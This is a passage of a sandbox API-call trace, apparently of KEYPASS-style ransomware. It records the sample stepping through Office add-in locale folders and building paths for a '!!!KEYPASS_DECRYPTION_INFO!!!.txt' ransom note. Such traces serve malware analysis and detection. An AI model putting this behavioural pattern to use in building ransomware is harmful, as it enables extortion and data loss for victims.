lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.684] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.684] GetLastError () returned 0x3f0 [0273.684] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.684] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.685] GetFileType (hFile=0x1278) returned 0x1 [0273.686] CloseHandle (hObject=0x1278) returned 1 [0273.686] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.686] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.686] GetLastError () returned 0x3f0 [0273.686] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.686] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.690] GetFileType (hFile=0x1264) returned 0x1 [0273.691] CloseHandle (hObject=0x1264) returned 1 [0273.691] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.692] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.692] GetLastError () returned 0x3f0 [0273.692] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.692] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.693] GetFileType (hFile=0x127c) returned 0x1 [0273.694] CloseHandle (hObject=0x127c) returned 1 [0273.694] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.694] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.694] GetLastError () returned 0x3f0 [0273.694] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.694] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.695] GetFileType (hFile=0x1280) returned 0x1 [0273.696] CloseHandle (hObject=0x1280) returned 1 [0273.697] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.697] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.697] GetLastError () returned 0x3f0 [0273.697] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.697] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.700] GetFileType (hFile=0x1284) returned 0x1 [0273.701] CloseHandle (hObject=0x1284) returned 1 [0273.701] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.701] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.701] GetLastError () returned 0x3f0 [0273.702] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.702] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.703] GetFileType (hFile=0x1288) returned 0x1 [0273.704] CloseHandle (hObject=0x1288) returned 1 [0273.704] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.704] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.704] GetLastError () returned 0x3f0 [0273.704] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.704] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.706] GetFileType (hFile=0x1290) returned 0x1 [0273.707] CloseHandle (hObject=0x1290) returned 1 [0273.707] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.707] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.707] GetLastError () returned 0x3f0 [0273.708] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.708] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.709] GetFileType (hFile=0x1294) returned 0x1 [0273.710] CloseHandle (hObject=0x1294) returned 1 [0273.710] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.710] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.710] GetLastError () returned 0x3f0 [0273.710] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.710] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.711] GetFileType (hFile=0x1298) returned 0x1 [0273.712] CloseHandle (hObject=0x1298) returned 1 [0273.713] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.713] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.713] GetLastError () returned 0x3f0 [0273.713] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.713] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.714] GetFileType (hFile=0x129c) returned 0x1 [0273.715] CloseHandle (hObject=0x129c) returned 1 [0273.715] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.715] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.715] GetLastError () returned 0x3f0 [0273.715] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.715] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.716] GetFileType (hFile=0x12a0) returned 0x1 [0273.717] CloseHandle (hObject=0x12a0) returned 1 [0273.717] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.717] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.717] GetLastError () returned 0x3f0 [0273.717] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.717] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.718] GetFileType (hFile=0x12a4) returned 0x1 [0273.720] CloseHandle (hObject=0x12a4) returned 1 [0273.720] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.720] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.720] GetLastError () returned 0x3f0 [0273.720] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.720] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.721] GetFileType (hFile=0x12a8) returned 0x1 [0273.722] CloseHandle (hObject=0x12a8) returned 1 [0273.722] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.722] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.722] GetLastError () returned 0x3f0 [0273.722] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.722] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.725] GetFileType (hFile=0x128c) returned 0x1 [0273.726] CloseHandle (hObject=0x128c) returned 1 [0273.726] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.726] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.726] GetLastError () returned 0x3f0 [0273.726] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.726] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.727] GetFileType (hFile=0x12ac) returned 0x1 [0273.728] CloseHandle (hObject=0x12ac) returned 1 [0273.729] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.729] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.729] GetLastError () returned 0x3f0 [0273.729] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.729] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.730] GetFileType (hFile=0x12b0) returned 0x1 [0273.731] CloseHandle (hObject=0x12b0) returned 1 [0273.731] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.731] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.731] GetLastError () returned 0x3f0 [0273.731] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.731] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.732] GetFileType (hFile=0x12b4) returned 0x1 [0273.733] CloseHandle (hObject=0x12b4) returned 1 [0273.733] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.733] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.733] GetLastError () returned 0x3f0 [0273.734] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.734] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.735] GetFileType (hFile=0x12b8) returned 0x1 [0273.740] CloseHandle (hObject=0x12b8) returned 1 [0273.740] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.740] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.740] GetLastError () returned 0x3f0 [0273.740] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.740] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.742] GetFileType (hFile=0x12c0) returned 0x1 [0273.743] CloseHandle (hObject=0x12c0) returned 1 [0273.743] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.743] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.743] GetLastError () returned 0x3f0 [0273.743] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.743] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.744] GetFileType (hFile=0x12c4) returned 0x1 [0273.745] CloseHandle (hObject=0x12c4) returned 1 [0273.746] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0273.746] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.746] GetLastError () returned 0x3f0 [0273.746] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.746] PathFileExistsW 